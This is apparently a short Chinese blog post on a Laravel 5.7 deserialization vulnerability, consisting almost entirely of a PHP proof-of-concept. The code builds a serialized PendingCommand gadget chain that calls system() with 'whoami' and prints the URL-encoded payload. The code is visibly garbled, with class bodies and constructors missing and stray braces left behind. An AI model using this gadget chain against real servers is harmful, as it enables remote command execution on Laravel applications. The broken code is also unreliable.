反序列化版本漏洞

laravel5.7反序列化漏洞

php 复制代码

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

        }
    }
}

        protected $instances = [];

        public function __construct($instances = [])

        }
    }
}

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

    echo urlencode(serialize($pendingcommand));
